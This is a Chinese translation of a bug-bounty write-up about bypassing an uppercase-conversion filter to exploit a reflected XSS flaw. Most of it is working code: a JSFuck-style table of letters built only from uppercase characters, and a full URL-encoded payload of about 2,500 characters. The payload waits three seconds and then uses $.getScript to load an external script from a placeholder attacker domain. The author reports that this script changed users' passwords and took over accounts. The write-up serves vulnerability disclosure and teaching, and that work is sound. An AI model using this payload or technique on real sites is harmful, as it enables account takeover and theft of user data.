雖然我們不是在安全公司工作,但喜歡參加Hackerone上的漏洞懸賞項目,喜歡尋找漏洞。
而最近發現的漏洞讓我感覺JAVAscript代碼中的注入漏洞的確會讓人防不勝防。
我們在目標網站上找到了一個和XSS有關的漏洞,其中網頁涉及到某種谷歌分析代碼,可通過URL進行XSS攻擊。
http://website.com/dir/subdir
以上URL的后半部分會直接出現在JavaScript代碼中:
function("/DIR/SUBDIR",params);
通過使用Burp suite,我嘗試在URL末尾添加-alert(1)-來進行攻擊,即http://website.com/dir/subdir/"-alert(1)-"。

結果瀏覽器告訴我們找不到函數ALERT(1),看來GET參數會被轉換為大寫。
然后我們開始測試網站過濾器到底會過濾什么內容,結果發現</script>,//,,. 會受到影響,但是其他敏感字符東西",',[,],{,}并不會。
所以,我們需要利用這些白名單字符構建payload。很快我們便想到了jsfuck.com網站,不過它生成的payload雖然可以繞過大寫過濾器,但太長了。

同時,需要說明的是,在Hackerone的懸賞項目中,如果只是執行alert(1),那么只能算是一個低級XSS(獎勵較低)。我們希望將此漏洞的等級升級為高或嚴重,這就需要證明漏洞可加載外部JS文件,且在和用戶無任何交互的情況下就可執行任意Web操作。
以下是一個用于wordPress/ target=_blank class=infotextkey>WordPress的payload,我們希望能往目標注入類似于這個payload的外部腳本,非法更改帳戶密碼或email。

而在JsFuck網站中,一個簡單的alert(1)會被轉換為如下代碼:
"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"
這真是又丑又長。如果我想使用alert(document.cookie),則最終的payload會超過13000個字符。但是,我發現一旦給目標服務器發送的字符數超出了2700個,Web服務就會返回Error 400。看來我們需要改善這種混淆方式,縮減它的長度。
先讓我們看看JsFuck是如何工作的(字符間的對應關系)。
const SIMPLE = { 'false': '![]', 'true': '!0', 'undefined': '0[0]', 'NaN': '+[!0]', 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000" }; const CONSTRUCTORS = { 'Array': '[]', 'Number': '(+0)', 'String': '([]+[])', 'Boolean': '(!0)', 'Function': '[]["fill"]', 'RegExp': 'Function("return/"+0+"/")()' }; const MAppING = { 'a': '(false+"")[1]', 'b': '([]["entries"]()+"")[2]', 'c': '([]["fill"]+"")[3]', 'd': '(undefined+"")[2]', 'e': '(true+"")[3]', 'f': '(false+"")[0]', 'g': '(false+[0]+String)[20]', 'h': '(+(101))["to"+String["name"]](21)[1]', 'i': '([false]+undefined)[10]', 'j': '([]["entries"]()+"")[3]', 'k': '(+(20))["to"+String["name"]](21)', 'l': '(false+"")[2]', 'm': '(Number+"")[11]', 'n': '(undefined+"")[1]', 'o': '(true+[]["fill"])[10]', 'p': '(+(211))["to"+String["name"]](31)[1]',
我開始嘗試在Chrome上執行其中一部分代碼,看看它是如何工作的。

基本上,我們可以從不同類型的變量中獲取字符,特別是從false、true、undefined、NaN、Infinity等獲取小寫字母。
最終,我在沒有使用小寫字母的情況下得出了自制的混淆轉換表。
Á=![]; //false É=!![]; //true Í=[][[]]; //undefined Ó=+[![]]; //NaN SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity ST=([]+[]); // Ü=(+[]); A=(Á+"")[1]; D=(Í+"")[2]; E=(É+"")[3]; F=(Á+"")[0]; G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]]; I=([Á]+Í)[10]; L=(Á+"")[2]; T=(É+"")[0]; O=(É+[][F+I+L+L])[10]; R=(É+"")[1]; N=(Í+"")[1]; M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1]; P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1]; S=(Á+"")[3]; U=(Í+"")[0]; V=(+(31))[T+O+"S"+T+R+I+N+G](32); X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1]; Y=(Ó+[SI])[10]; Z=(+(35))[T+O+"S"+T+R+I+N+G](36); C=([][F+I+L+L]+"")[3]; H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1]; K=(+(20))[T+O+"S"+T+R+I+N+G](21); W=(+(32))[T+O+"S"+T+R+I+N+G](33); J=([][E+N+T+R+I+E+S]()+"")[3]; B=([][E+N+T+R+I+E+S]()+"")[2];
同時我還需要斜線和圓點。首先我們可以從浮點數1.1e+101得到圓點。

好的,現在我還缺/和g。此時我決定用jsfuck生成這兩個字符,為此我犧牲了1200個字符,但之前的paylaod大約是500-800字符,所以最后的payload長度(還包含些其他代碼)在服務器允許的范圍內。
現在讓我們試試執行混淆后的代碼。
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();
以上代碼實際對應fill.constructor(alert(1))。是的,我只用大寫字母就執行了javascript!
希望目標網站使用了jquery,此外如果加載到html代碼的末尾,則注入payload后會返回未找到函數。我們必須等待3秒,等所有依賴項加載完成再用$.getscript加載外部JS文件。
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

它成功了!3秒后我收到了請求!
最后對payload進行URL編碼,得到的最終payload是(長度為2500多):
%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22
最后我們成功加載了外部JS腳本,它的作用是更改用戶名密碼!實現帳戶接管!就這樣我把一個低危XSS漏洞變成了高危XSS漏洞。獎勵也從50美元變成了1000美元,翻了20倍!
在此特別感謝Martin Kleppe,沒有他的發現,我們是不可能得到這個獎勵的。
來源:https://nosec.org/home/detail/3047.html
原文:https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce